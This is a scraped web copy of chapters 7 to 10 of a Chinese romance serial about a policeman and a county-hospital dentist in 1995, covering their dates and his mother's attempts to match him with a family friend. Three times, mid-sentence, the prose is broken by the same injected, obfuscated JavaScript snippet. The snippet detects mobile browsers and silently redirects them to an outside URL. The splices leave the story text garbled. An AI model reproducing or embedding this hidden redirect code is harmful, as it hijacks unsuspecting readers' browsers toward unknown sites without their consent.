《九五县城小夫妻》 7. 栀子花 宿舍离食堂没多远,几分钟就走到了,到了食堂门口,人渐渐多起来,何维淑心虚似的立马挣开他的手,微微跨前一步。 崔承安的手在空气中抓握了下,无奈笑了笑赶忙跟上去。 两个人点好饭菜找了空桌子坐下,边吃边聊天,崔承安道:“你们医生都是周末休息吗?” “不是,要周末都不上班,谁还给病人看病?”何维淑道:“不过五一不是刚实行了双休制度吗?我们现在一周休两天,我是每周日和每周四休息。你呢?” 崔承安:“那我们休息时间就比较灵活了,要是没有案子,多休息两天,领导也不会说,要是来了案子,我们停休、加班都是常态。” 何维淑点点头,将桑葚往他面前推了推:“你尝尝。” “好甜。”崔承安塞了几颗到嘴里,舌头都染黑了,吃完饭后他道,“明天晚上我妈的朋友一家要来我家吃饭,让我回去陪着,我明天晚上就不过来了。” 何维淑点头应好,其实她也不想他天天过来,虽然有个人陪着是挺开心的,但花的时间也有点多,用来学习的时间就少了。 崔承安看着她又问:“那你周四想吃什么?” 何维淑笑了:“你怎么老问我想吃什么?”就这么几天,都不知道问多少回了。 崔承安看着她笑也没忍住笑了,“那我不问了,我知道县城里有一家饭店,他们家的酸菜鱼做的特别好吃,是厨师从重庆学过来的,我们后天晚上一起去吃吧?” “好。”何维淑答应,弯起的唇角怎么都放不下去。 旁边,几个人推推搡搡地朝这边看,其中一人道:“都说何医生谈恋爱了,我还以为是谣传呢,没想到是真的。” 另一个人不怀好意地闷笑,用手肘撞了撞身边人:“廖医生,你怎么这么沉默,怎么不说话?” 廖医生没好气白他一眼,起身走了。 “你可真是不安好心,你不知道他什么心思啊?还故意在他面前说这话。” “我说什么了?我又没说什么,他不就是看上人家何医生了吗?那何医生没看上他还能怨我啊?”被说了的人不服气,也气哼哼地走了。 他们几个人的官司,何维淑和崔承安都不知道,两个人磨磨唧唧地吃完饭,外面天都黑的差不多了,何维淑道:“我真得上楼了,你也早点回去吧。” 崔承安有些舍不得地勾着她的小指,还晃了晃。 何维淑抿着唇笑:“那……后天见。” “后天见……”崔承安松开她的手,一步三回头,走一半一拍脑袋突然想起件事来,又慌忙回去对她道,“你在这儿等我一下,我马上回来。” “啊?”何维淑不解地站在原地,看着他大步跑开的背影,不过一会儿,又看见他跑回来,手里还拿着一束花,脸上笑的张扬,一双眼睛明亮,直勾勾地盯着她。 崔承安一路跑过来,气都不喘一下,双手将花递到她面前,仔细看,眼底还有一丝羞涩:“我过来的时候买的,忘在车上忘记拿下来了。” 何维淑接过花,放到鼻子底下闻了闻,还挺香。 崔承安挠挠头,“这是栀子花,我骑车路过花店,闻到这股香味,就让老板给我包了一束。” “我很喜欢,谢谢你。”何维淑抱着话看着他笑。 人比花更娇,崔承安被这一笑迷了眼,突然感觉鼻子一热,一股热流就从鼻腔中留下来。 何维淑看着他瞪大眼,手忙脚乱地找东西给他擦,“估计是桑葚吃多了,这东西一吃多就容易流鼻血。” 崔承安心虚地捂着鼻子不说话,心里对桑葚说抱歉。 何维淑抱了花回去,找了瓶子将花插起来,小小的房间里瞬间花香四溢,她坐在桌前看着花,心情十分好,就连看书都有些心不在焉,看着看着就要扭头盯着花发会儿呆。 ****** 第二天晚上,崔承安没能准时下班,他坐在位置上肃着脸检查组内成员整理的卷宗材料,看着看着皱眉道:“小杨,你过来一下,这怎么少了一份《搜查笔录》?” 被叫到的杨学军愣了一下忙起身过去:“怎么会?” “你看,我翻几遍了,只有《扣押清单》。”崔承安从文件袋里把文件都拿出来,摊在桌面上,就是没有记录搜查过程和见证人签字的《搜查笔录》,“行了,咱们也别在这儿找了,你赶紧的,去补一份,一定要详细记录搜查的时间、地点、人员、过程,还有发现的物品,物品也要跟《扣押清单》一一对应,我现在给当时的见证人打电话,你补完了去找他签字确认,这次可别再漏了。” 杨学军立刻点头,连忙把文件都拿到自己的桌子上去。 崔承安将今天的事都有条不紊地处理完后,在位置上伸了个懒腰,打了个哈欠,扭头往窗外一瞧,天色已经暗下来了,他抬起手看了下时间,六点二十了,他随手把抽屉里的车钥匙拿出来,将椅子推进桌子下面,转身就朝着外面走。 等他到家时,卢宛君一家已经来到过了,正跟着董芳苓和崔健同在客厅里看电视聊天说话。 摩托车的嗡鸣声在院子里响起,董芳苓笑起来:“这是回来了。” 卢宛君听着这话,微低着头,眼神中是掩藏不住的喜悦与期待,她伸手端起桌上的茶水,遮掩地抿了一口。 崔承安甩着钥匙从门外进来,进门就向客人问好:“卢叔叔卢阿姨,你们都已经到啦,我还说去接你们呢。” 卢阿姨笑起来:“我都听你妈妈说了,说你在局里天天都忙得脚不沾地的,你还能有这个心,阿姨就高兴得合不拢嘴了。” 卢叔叔也道:“承安现在真是年轻有为,这才工作多久,就已经是中队长了。” “副的副的。”崔承安补充。 “行了,咱们都多熟悉了,就别客套了。”董芳苓也笑,“虫虫回来了,咱们都坐过去准备开饭吧。” 几个人围着圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862315|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌坐下来,不只是有意还是无意,卢宛君正好坐在崔承安右手边。 俩人妈妈是同事,小时候也没少在一块儿玩,到了高中又是同班同学,所以两人间也不拘束,崔承安笑着问了几句:“我前几天听我妈说,你现在也回县里上班了?” “对,职务调动,未来估计很长一段时间都会在县里。”卢宛君看着他浅笑。 “这样,我说你怎么放着市里那么好的工作不要,回来咱们县里。” 他们两人在这边寒暄了几句,那边董芳苓和卢妈妈在旁边瞧着打眉眼官司。 两家人吃着饭,董芳苓突然说道:“这儿子女儿一对比啊,还是女儿好,女儿贴心。” 卢妈妈笑她:“你还能有这感悟呢?你家三个孩子哪个不好?” 董芳苓作势叹一声,瞥着崔承安说:“前两个都好,就这个不好,你说到现在了,都还没个对象,警局里还净是些大小伙子,我跟他爸都愁死了。” 崔承安没想到这里面还有他的事呢,吃着馒头差点呛进喉管里。 卢妈妈也跟腔道:“这个事跟儿子女儿可没什么关系,我家这个是女儿,不也没个男朋友吗?一说她她还扭头装没听见,一点都不考虑自己的婚事,让相亲也不去,我们也是发愁呢,都二十四了。” “是啊,都二十四了!”董芳苓重复一遍,恨铁不成钢地盯着崔承安。 真是正巧两个“单身”老大难凑到一块儿了,还一个男的一个女的。 卢宛君吃着菜,略有些害羞地朝崔承安看过去。 崔承安感受着饭桌上众人的反应,本能地察觉到不对来,连忙插科打诨道:“你们可别拉上我,妈,这下你以后不用发愁了,我有女朋友了。” 董芳苓惊讶地站起来,椅子脚划拉地面,发出“刺啦”声,她问:“你什么时候的事?我怎么一直都不知道?”崔建同也诧异地看了儿子一眼。 卢妈妈确实下意识看向自己女儿,只见卢宛君听到他这话瞬间愣住,不可置信地看向他,眼神中闪过一丝几不可察的无助。 饭桌上几人反应各不相同,崔承安倒是吃的安心,丝毫不受影响的样子,照样拿着筷子夹了块肉到碗里,回道:“就这几天刚谈的,就还没告诉你。” 董芳苓看着他这副样子,不是很相信:“别是你敷衍我的吧。” “怎么可能,妈,你觉得你儿子我是这种人吗?等回头找机会,我带她跟你见一面,你肯定会喜欢她的。” 董芳苓听着他这话,还想问更多,但碍着卢家人还在场,尤其是要顾及着卢宛君的心情,她硬生生将到嘴的话给咽了回去,招呼着大家吃菜。 她面上还笑着,但心里却是叹了口气,这顿饭虽然没有明着说是让两个小的相亲,但其实大家都心照不宣,只是没说破而已。宛君又是她看着长大的,她知道宛君的心思,她对他俩也是赞成的,谁能料到这混小子突然给她来了这么一出,倒搞得她里外不是人了。 8. 酸菜鱼 卢宛君沉默片刻后突然轻笑起来问:“那个女孩子是谁啊?是我们认识的人吗?” 崔承安笑了笑:“他们认不认识我不知道,但你肯定是认识的。” “谁啊?”卢宛君疑惑地看向他,,脑中飞快闪过几个女孩子的脸,但想想又觉得不可能。 “何维淑。” 卢宛君愣了半晌才反应过来他说的人是谁,她有些惊愕,怎么也没想到他们俩会联系到一起,她对她就只剩下一点粗浅的印象了,只记得她高中时成绩很好,家庭条件比较困难,在班里也不怎么说话,存在感很低。 她良久才找回自己的声音问:“……你们怎么会在一起?” “缘分。”崔承安笑笑,并不详细解释。 董芳苓瞧着他俩打哑谜似的,听起来儿子那个所谓对象不是骗她的,是一个真实存在的人,她问:“你们说的是谁啊?” 卢宛君垂下眼道:“是我们的一个高中同学……” 卢妈妈打量着女儿神色,很是心疼,起身对董芳苓笑道:“芳苓,真是不好意思,我突然想起来我们家还有事要处理,恐怕不能再久留了。” 董芳苓知道她这是托词,但就目前这有些尴尬的境况,让她也没办法再开口挽留,忙起身讪讪笑说:“啊这样,那你们快回去吧,别耽误了。” 卢宛君一家三口起身离开,董芳苓将他们送走后叹了口气,这顿饭吃的,真是一言难尽,她转头看看啥事儿没往心里搁的崔承安,他一屁股又坐回位置上,拿着筷子吃的比谁都欢,她动作一顿,又叹口气,过去坐到儿子旁边问:“刚刚说的女孩子是哪里人啊?家里面是干什么的?你什么时候能把她带回来给我们见一见?” 崔承安埋头扒着饭,眼睛只盯着眼前的饭菜,推脱道:“快了快了。” 崔建同瞥他一眼冷哼一声,沉声道:“你既然跟人家姑娘谈了恋爱,就好好谈,别跟以前一样不着调,回头被人说玩弄人家妇女感情!” 崔承安看也不看他,语气生硬道:“不用你说,我既然跟她在一起,那我就是奔着结婚去的。” 董芳苓瞧着父子俩又像是要吵起来的样子,连忙说:“行了行了,都吃好了吧?吃好了就别在这儿坐着了,耽误我洗碗!” 她端着盘子进厨房,又冲外面喊:“虫虫,你过来洗碗。” “哦。”崔承安听话进去。 董芳苓等他进来后,立马拉上他的胳膊,想再趁机多问问女孩子的情况。 崔承安却光笑不回答,只道:“妈,到时候你就知道了,好了,我现在要洗碗了,妈你先出去吧。” 董芳苓见他怎么都不肯说,有些惋惜地将碗盘都放进水池让他刷。 崔承安等人出去后,得意地笑起来,嘴里不成调地哼着曲子。 周四一早,天就有点阴阴的,何维淑没有睡懒觉的习惯,还如上班时一样六点半起床洗漱,到食堂去吃了早餐后又回到宿舍,给栀子花换了水,换水的时候不忘拿到鼻子下闻,栀子花香味浓郁,这样一小束放到房间里,满室飘香。 她笑了下,又放回原位,顺便坐下来翻开书看。 她当初大学毕业时,不光省城医院想留她,她导师也向她发出了读研邀请,她那个时候不是不心动,只是家里情况如何,她一清二楚,急需她出来上班赚钱,实在没有条件再让她学三年。 虽说她现在在县城口腔科,待遇很好,工作也体面,可其实她还是有一点不甘心的,县里和市里省里仍然没办法相比,连台像样的光固化机都没有,同事们人虽然都很好,但是一些理念也是真的不同,她虽然回来了,但还是抱着向上走的心思的。 且现在每月工资不低,养家压力变小,静下来想一想,还是想考当初导师的研究生,那就先准备着,等备考得差不多后跟刘主任通个气,得到单位同意就报考,考上后再在职攻读,到时候再根据研究的课题,导师大概率会同意异地培养。 在职读研的情况他们医院虽然还没有,但放眼到整个省来说,并不算罕见,只是到时她会辛苦些,需要省城县城两地跑,可能读研三年都不会有什么假期。 不过和继续求学深造相比,假期就不是她所好了。 何维淑在学习上也许真的有些天赋,可能别人学一个小时就会疲惫走神,但她不会,她一沉下心,就很容易沉浸进去,专心致志地学习默背书中知识,甚至会因此忘了时间和吃饭。 她早上七点多坐到位置上,一上午除了喝水上厕所屁股就没离开过椅子,中午简单买了份面条吃,睡了半小时后,就又精神奕奕地翻书,外面轰隆隆的打雷声都没影响到她。 等她再抬头的时候,窗外天都快黑透了,何维淑心中一惊,连忙看了眼时间,五点半,心又稍稍放下来点,就这个天色,她差点以为是七点多。 她连忙起身探头朝楼下望,果不其然,崔承安已经在楼下等着了,百无聊赖地跨坐在他那辆黑色的摩托车上,手里拿着一个BP机翻来覆去地把玩。 何维淑赶忙将书合上归位,又过去换了衣服和鞋,抓了钥匙三步并作两步就往楼下跑。 等她站到崔承安面前时,还有些气喘,问:“不好意思,我没注意时间,你等久了吧?” 崔承安特别自然地抬手将她被风吹乱的头发往耳后捋了捋,何维淑不防他这个动作,顿时瞪大眼,圆溜溜的,看起来像只受了惊的猫。 崔承安没忍住笑道:“没等多久,局里今天有事,我也是刚到,我还害怕你等着急了呢。” 何维淑眨了眨眼,又恢复平常,说:“那就好,那我们现在去吃饭?” “不急,今天这雨不知道能不能下下来,但现在就有点凉,晚上估计会更冷,你先上楼再穿个外套,咱们再走。” 何维淑刚才下来就换了件短袖,现在站在风里还真有点冷,她点头说:“好,那我先去拿个外套。” “嗯。”崔承安看着她的背影,脸上的笑就没下去过。 两个人准备好后,何维淑坐在摩托车后座,崔承安问:“坐稳了?” “坐稳了。” “好,那咱们走了。” 远处天边黑压压的,乌云翻滚,像是不知道什么时候就会降下雨来,实在不像是出行的好时候。 要去的那家饭店离医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862316|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点距离,摩托车开了十几分钟后才到地方,今天天不好,来饭店吃饭的人都少,两人一前一后进去,老板一看就跟崔承安很熟悉,看见他们就上来招呼,眼神往何维淑身上过了一下后笑着崔承安道:“崔队,今天这是带着女朋友来了?” “是啊,我跟她说你们家的酸菜鱼特别好吃,你今晚可要拿出你们十二成的功力做菜,可不能让我在我女朋友面前丢了面子。”崔承安脸有些热,仍不忘将椅子拉开,让何维淑坐下。 老板爽朗地笑起来,利索地递过菜单:“你今天就把心老实放到肚子里,我肯定给你挑最好的鱼,片得厚薄一致,味道绝对让你女朋友吃了一次还想下一次。” 何维淑接过菜单,迎着老板的眼神也不太自然地笑了笑。 两份点好菜,老板也识趣的不在跟前凑着,转身去了后面的厨房。 崔承安起身去给何维淑倒了杯热水,说:“我跟着老板认识挺久了,之前我们每次办完案,我师父就带着我们来这吃一顿酸菜鱼,酸酸辣辣还放了麻椒,特别开胃,我们每次都能吃两大碗米饭。” 何维淑笑着听他讲,问道:“你当初是为什么想当公安?上学那会儿好像没听说过你想当公安,后来录取通知书下来的时候,我听隋黛说你被省公安大学录取了,还吃了一惊,我以为你会像你哥哥一样报考经济,或者工科类的专业。” 他哥哥崔永安可是他们一中建校以来最知名也是最厉害的学生,是当年的市状元,在省里也排得上名次的,还是一中第一位考上京大的人,同时也是迄今为止的唯一一位,至今照片还挂在学校的荣誉榜上。 那时候真的是全县同庆,一中更是乐得恨不得昭告天下,所有人都以为这会是学校的一个起点,没想到是人家崔永安太优秀,跟学校没有半点关系。 崔永安高考与他们上高中同年,大家当时一进班就听说班上有状元的亲弟弟,于是大家对崔承安都充满了好奇,何维淑也不例外,不过很可惜,入学一个月后的月考成绩出来后,他的成绩打破了学校再出一个状元的期望。 “就是想……为民除害。”崔承安开了个玩笑,“其实也没有什么特殊的原因,就是突然间的一个想法,正好当时估分觉得应该够,就填了这个志愿,也是运气好,最后被录上了。” 何维淑了然地点点头。 崔承安问:“那你呢?你又是为什么会学医?还是选择的口腔。” 何维淑笑了:“倒不是我选择的口腔,我当年报的临床医学,最后分不够,调剂到口腔的,结果五年学下来觉得口腔也很好。” 两人闲聊着,老板将一大盘酸菜鱼端了上来,白嫩的鱼片一看就新鲜爽口,除了酸菜,鱼片下面还卧着豆芽和金针菇。 崔承安给何维淑盛好米饭,道:“你尝尝看怎么样?”说完有些紧张地看着她反应,生怕会不合她胃口。 何维淑第一次吃这道菜,光是闻着味道,就觉得口水在分泌,当下也不客气,拿起筷子就夹了片鱼肉,又滑又嫩,还没有刺,她吃下去后,夸道:“好吃!” 崔承安笑了,心满意足道:“喜欢我们下次还来吃。” 9. 生瓜蛋子 第二天早上,崔承安将买好的早饭放到李卫东桌上。 李卫东从他一进来就盯着他了,等早餐放到桌子上后,他打开塑料袋,咬了一口包子后看了看馅,又伸手把另外俩包子掰开说:“我说,你这真是越来越敷衍了,之前还给我带肉包子,这怎么今天都是素包子了?还没有豆浆。” 崔承安坐到位置上,双腿翘到桌沿上,“我要攒钱娶老婆的,你这种孤家寡人不懂,不懂~” “嘿!”虽然是素包子,李卫东吃得也挺欢,三两口解决掉一个,听到他这话,随手就从桌子上扔了支笔过去。 崔承安双手向上一接,钢笔稳稳落在他手心,他将其插到笔筒,笑起来说:“多谢兄弟馈赠,又省个买笔钱!” 李卫东白了他一眼,摇摇头叹道:“重色轻友、忘恩负义的东西,你这个兄弟,我是指望不上了。” 崔承安笑眯眯的,回道:“净说胡话。” 李卫东又翻一个白眼,也不搭理他了,转过去将剩下俩素包子吃掉后,拧开杯子灌了两口水:“明天给我带个豆浆,当然,牛奶更好。” 崔承安瞅着他脸上贱兮兮的笑,也不由笑着撇嘴:“行,我明天回家拎两箱牛奶,就放你桌子底下,让你喝个够。” 李卫东也不管他话里的调侃,夸一句:“兄弟上道。” 两人闲侃完,李卫东问:“你昨天会约得怎么样?说出来我听听有没有什么值得改进的地方,毕竟兄弟我比起你来可是有点经验的。” 崔承安斜他一眼,还是照实回答。 李卫东听罢,一副朽木不可雕的样子摇摇头:“你说说你,要不说你是个没谈过恋爱的生瓜蛋子呢!你怎么能让她上楼拿外套呢?你就应该等她感觉冷的时候,把你身上的外套脱给她,让她整个人都被你的体温烘着,脑子都能给烘晕了!” 崔承安听到这话还半信半疑地看着他,小杨就先在旁边起哄:“呦,李哥,你这懂得还真不少啊,还有这主意呢?” “那是。”李卫东得意,又用手肘捅了下崔承安,得瑟道,“生瓜蛋子学着点,真是让你捡着大便宜了,我这经验可是不外传的。” 崔承安正若有所思,一听到这,“嘁”了一声,上前给了他一拳:“就你歪主意多,回头给她冻感冒了,你给治啊?” ***** 董芳苓坐在办公桌前,心却飞到了九霄云外,脑子里想的都是儿子和他那个女朋友,自己儿子自己知道,一直以来都跟长不大似的,净调皮捣蛋,没少给家里闯祸,也就是毕业后上班才显得成熟些,但也是一副对感情不开窍的样子,这怎么说谈就谈上了?之前还一直没透过气? 她扭头朝窗外看了眼,不意竟看到卢宛君从外面走过来,脑子里不可避免地想到那天不欢而散地晚饭,心中涌出愧疚,又想起她跟儿子女朋友都是高中同学,又不免有些好奇。 董芳苓起身出去,等在门口,等卢宛君走到跟前,温柔笑道:“宛君,你怎么这时候过来了?来找你妈妈吗?” “不是,是我领导让我来文化馆拿资料。”卢宛君笑着回答,又问,“阿姨怎么站在这?” “阿姨刚才在窗户那看到你过来,就在这儿等你的。要拿什么?我待会儿让小汪整理好给你。”董芳苓拉着她,脸上的笑就没放下去,“你今天晚上有空吗?阿姨想请你吃个饭,县里新开了一家餐馆,听馆里的年轻人说味道特别好。” 卢宛君看着她,想到那天晚上崔承安说的女朋友,心思不由泛起来,眨了下眼立马笑起来道:“阿姨邀请,怎么能没有时间呢?我今天把资料给领导送回去,也就没什么事了。” “那待会儿阿姨把地址告诉你,下了班别忘了过去。” 卢宛君笑着点头答应。 晚上,董芳苓提前就到了餐馆,要了间小包间,又点了几个菜后就在包间里等着。 没多久,卢宛君也到了,一进门就问:“阿姨等久了吧?” “没有,我也没到多久。”董芳苓笑起来,又把菜单递给她,“我刚才点了几个菜,我记得这些都是你喜欢吃的,你再看看你还有没有别的想吃的,再加两个。” 卢宛君扫了一眼,笑说:“还是阿姨清楚我的胃口,我妈天天就念叨说我挑食,这不吃那不吃。” 董芳苓闻言也笑。 卢宛君没加菜,将菜单递给服务员说:“就这些就够了,就我们两个人,点多了吃不完要浪费了。” 两个人坐得近,董芳苓伸手拉过她的,道:“我跟你妈妈在你和承安还没出生时就认识了,刚巧你跟承安又是同一年出生,你从小就听话懂事,承安小时候就是个混世魔王,那时候我跟你妈妈一块儿领孩子上班,阿姨看着你真是羡慕坏了,巴不得用承安跟你妈妈把你换过来。”说完,眼神里透着一点回忆过往的笑意。 “小时候阿姨就疼我,天天给我带吃的,看得承安眼巴巴的。” 说完两人都笑起来,董芳苓拍着她的手轻叹口气,垂下眼道:“承安从小性子就倔,让他干什么,只要一点不如他的意,就是把他打死,他也不愿意做。” 卢宛君笑了笑,另一只手轻轻搭在她手背上,“我知道的。”我知道,崔承安不喜欢我。 这时菜被送上来,董芳苓拍拍她的手,岔开这个话题,用公筷夹了一块红烧排骨放到她面前的盘子里,道:“快尝尝,服务员说这个菜是他们家的招牌菜。” “好,谢谢阿姨。” 董芳苓关心问道:“上回阿姨都没来得及问你,这到新单位还适应吗?领导同事都好不好相处呀?” “都挺好的,一切都很顺利。” 包间里气氛逐渐和缓,两人也聊得越来越融洽。 卢宛君看着她的表情,心思一转笑道:“说起来,我跟何维淑也是同学,这真没想到,他们俩会在一起,阿姨,承安有跟你说他们俩是怎么在一起的了吗?” 说起这个,董芳苓道:“这死孩子,嘴巴严的像一块石头,那个女孩子要不是你说是你们高中同学,我到现在都还不清楚是谁呢。” “这样啊。”卢宛君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862317|176096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了笑,止了话头。 董芳苓对儿子的女朋友实在好奇,奈何儿子又不肯说,于是追问道:“宛君,你们都是同学,你应该对那女孩也有些了解,你跟阿姨说说,她是个怎么样的人?” “阿姨,这种我不好说的,回头我要是说了什么不对的,承安知道了,肯定要怪我的。” 她话说的遮遮掩掩,董芳苓心里下意识紧张起来,别是那姑娘有什么不好,她上半身微微倾向卢宛君,安抚道:“宛君,你要是知道什么就跟阿姨说,我肯定不会告诉承安的。当妈妈的心情你应该也是能理解的,一直没见承安喜欢哪个女孩子,这突然有了女朋友,我定然是担心的,但他又不肯说,阿姨就只好问你了,你要是也瞒着阿姨,你说阿姨该多难受。” 卢宛君垂下眼,轻轻咬着下唇,一副十分为难的样子。 董芳苓又柔声哄道:“阿姨知道你是好孩子,不愿意在背后说别人的不是,但这个人不是别人,他们俩现在才在一起,那个女孩子有什么不好的地方,承安肯定也是不知道的,你把你知道的跟阿姨说,要有什么不对的,咱们也能及时止损不是?” 卢宛君听她这样说,放在膝上的手指紧了紧,像是下定了某种决心道:“那好吧,阿姨,我告诉你后,你可千万不能说是我说的。” “放心,我肯定不会那样做的。” “其实我知道的也不太多,我上学那会儿跟何维淑不是很熟,就知道她家庭条件不好,衣服上好多补丁,鞋子也破破的,每天好像都吃不饱一样,有一回,学费都差点交不上,而且她性格也挺闷的,除了她同桌,好像也没见她跟班上的其他同学有过多的来往。” 董芳苓微微皱眉沉思,这样说这个女孩子家是真的挺穷的,而他们家的条件她知道,单从这一点来说,两人就是极大的不匹配。 卢宛君观察着她的神色,有些支支吾吾道:“其实我还听说过一件事……” 董芳苓回神问:“什么事?” “我也是前两天碰到同学,一时好奇,就跟同学问了嘴何维淑。”卢宛君强调后,又吞吞吐吐道,“我同学说何维淑高中的时候就跟我们隔壁班的一个男同学在一起了,那时候两个人感情可好了,每次周末那男生都会送她回家,返校的时候还会去她家接她一起来学校,而且两人好像在一起很多年了,前段时间还有我们班同学看到他们俩在一起,关系挺亲密的,还说等着喝他们俩的喜酒呢。我听到同学这样说也没好意思说他们俩已经分手,何维淑现在跟承安在一起。” 卢宛君说完后又下意识补了一句:“也是没想到,何维淑这么快就分手和承安在一起了。” 董芳苓听到这已经脸色铁青,内心觉得从作风上来看,这姑娘就不像是个好姑娘,但在外人面前,她也不好多说什么,勉强笑了下。 卢宛君道:“其实上学那会儿何维淑成绩一直都挺好的,现在也在县医院上班,而且既然承安会选择和她在一起,那说明她肯定是有过人之处的,只是咱们外人不太了解而已,阿姨你也别太担心了。” 10. 橘子汽水 董芳苓回到家后心事重重,思来想去后给大女儿打去了电话。 铃声“嘟嘟”响着,过了一会儿后,话筒里传来熟悉的声音:“喂。” “哎,平安,是我。” “妈。”崔平安调整坐姿,身体呈现出更舒适的状态,还没等她要跟妈妈话家常,就听对面道,“平安,妈给你打电话,是有点事想问问你。” “什么事啊?妈你直说。” 董芳苓轻咳了下道:“是这样,这前几段时间我不还跟你说虫虫一直单着吗?正好卢家那闺女也回咱县里工作了,他俩从小就熟悉,宛君对虫虫也有那个心思,我想着撮合撮合他们,就请了他们一家来咱家吃饭,让俩小孩见见面聊聊天。” “是啊,这你跟我说过了,他又干什么了?”凭着对二弟的了解,崔平安几乎下意识就猜到饭局上肯定是发生了什么。 “也没干什么……”董芳苓眉眼间凝着郁气,“他就是突然说自己有女朋友了,搞得卢家饭都没吃完就找了借口回去了,我第二天上班都没脸见你卢阿姨。” 崔平安松口气,换了个姿势,甚至还笑了下:“有女朋友了啊,那这是好事啊。” “你怎么还帮着他说话?”董芳苓不满。 “妈,你又没提前通知他是相亲,那他猜到不对不说自己有女朋友,岂不是想脚踏两只船?所以这事是你做的不地道,至于卢家,到底是咱们家下了他们的面子,找个机会,携礼去道个歉,卢姨是个大度的人,不会怨你的。” 女儿也不站自己,董芳苓郁卒,但她想说的不是这,忙继续道:“不是这个,今天我见到宛君了,你知道你弟谈的那个女朋友是谁吗?” “谁?”崔平安眯着眼想自己认识的弟弟同龄人,“我认识吗?” “你不认识,是他高中同学。” “嗨!妈你就不能一口气说完啊,非得大喘气。” 董芳苓皱眉:“你别揪着这个,我是要说那个女孩子,宛君不是认识吗?今天晚上宛君就跟我说了一些事……”她将晚上吃饭时说的那些都告诉女儿,问道,“你说这个情况咱要怎么办?总不能让你弟去踩这个火坑吧?” 崔平安听完不甚在意道:“妈,你可别这么说,回头让虫虫听到,他该跟你闹了。” “我说什么了?我又没说什么。” “你说人家姑娘是火坑。” 董芳苓噎住:“……你别胡说,我没这么说过。” “好好好,你没说,是我说的。”崔平安道,“虫虫那么大人了,他有自己的考量,说不定你说的这些事,人家早就知道了,我看他不想跟你多说就是因为你老是多想,这才是一呢,你就已经想到八九十去了,而且你也说他才刚谈,什么都没定下来呢,也不好跟你说啊,要不是闹个什么相亲,估计咱到现在都不知道他恋爱。” 崔平安最了解自己妈妈,缓下声音继续说:“你要是实在放不下心,这样,你明天中午去给虫虫送饭,多做点,给他同事也送点,他不是跟那个卫东玩的好吗,你探探他的口风,他知道的估计比你多。” “行,你这主意可以。”董芳苓终于笑起来。 崔平安趁着这时候忙说:“不过你也别老是听风就是雨,说到底那姑娘咱都没见过,具体人怎么样,咱们也不了解,万一宛君说的那都是谣传呢?你也说了那也是她听说的。” “行了,你还教育起我来了,年年在家吗?让他接电话,我想我大外孙了。” ***** 崔承安熟练地从老胡手中拿过号牌,将摩托车停到医院的停车棚下,停好车出来跟老胡打了声招呼。 老胡嘴角衔着纸卷烟,火星子一亮一亮的,问:“又来找小何医生啊?” “是。” “你这段时间可是没少来。”老胡笑着,眼里是过来人的了然,“追我们小何医生的可不少,你小子得加把劲儿了,这光跑得勤还没用,你再勤也勤不过人家一个单位的。”他还不知道他们俩已经在一起了。 崔承安瞬间涌起一丝危险感,看到老胡快抽完的烟,忙从兜里掏出烟盒递过去,套近乎问:“叔,听你这话,咱医院还有人在追求何医生?” “那当然,就我知道的,外科的廖医生,从小何医生来的时候就追上了,到现在都该有一年了。”老胡斜瞅他一眼,接过烟拿手里一看,“呦,红塔山呢。” 崔承安又忙掏出火柴要给他点上,继续问道:“那这个廖医生,怎么样啊?” 老胡挡着火柴没让点,将烟放到鼻子下闻了闻,随后别在耳朵上,上下扫了他一眼回道:“跟你一样,大高个儿,也是要模样有模样,又是外科大夫,前途也好。” 还没等崔承安继续紧张,老胡继续说:“不过你也别担心,我瞧着,小何医生是没看上他,要是看上他了,早跟他好了,要我说,你的机会还是很大的。” 崔承安笑笑,看了眼时间后,就赶紧去大楼。 他刚拐过弯,偏门出现在视野范围内,就看到何维淑拎着包站在那边,还没等他高兴,就注意到何维淑身旁的男人,大高个儿,有模样,他脑子里瞬间拉响警钟,连忙加快脚步过去。 “我们主任说下周市里的专家要来进行指导,不过依我看,应该跟之前一样,就是走个过场,来两个所谓专家,往大会议室里一放,开几个小时枯燥无味的长会,每回都这样,也是没一点新意。”廖清吐槽着上面的检查。 何维淑边听边礼貌微笑,并不发表观点。 她是在下楼梯的时候碰到他的,本来只是客气寒暄了两声,没想到他会站在偏门这一直跟她说话。 就在她快要不耐烦的时候,身边突然站过来一个人,腰也被搂住,她转头,崔承安先开口道:“不好意思,等着急了吧?我刚才在车棚那跟胡叔多说了两句。” 崔承安解释完就扭头看向对面的廖清,挑了下眉问:“维淑,这位是?” 他的反应过于自然流畅,何维淑愣了下才介绍道:“哦,这是外科的廖医生。” 果然是,崔承安隐晦地 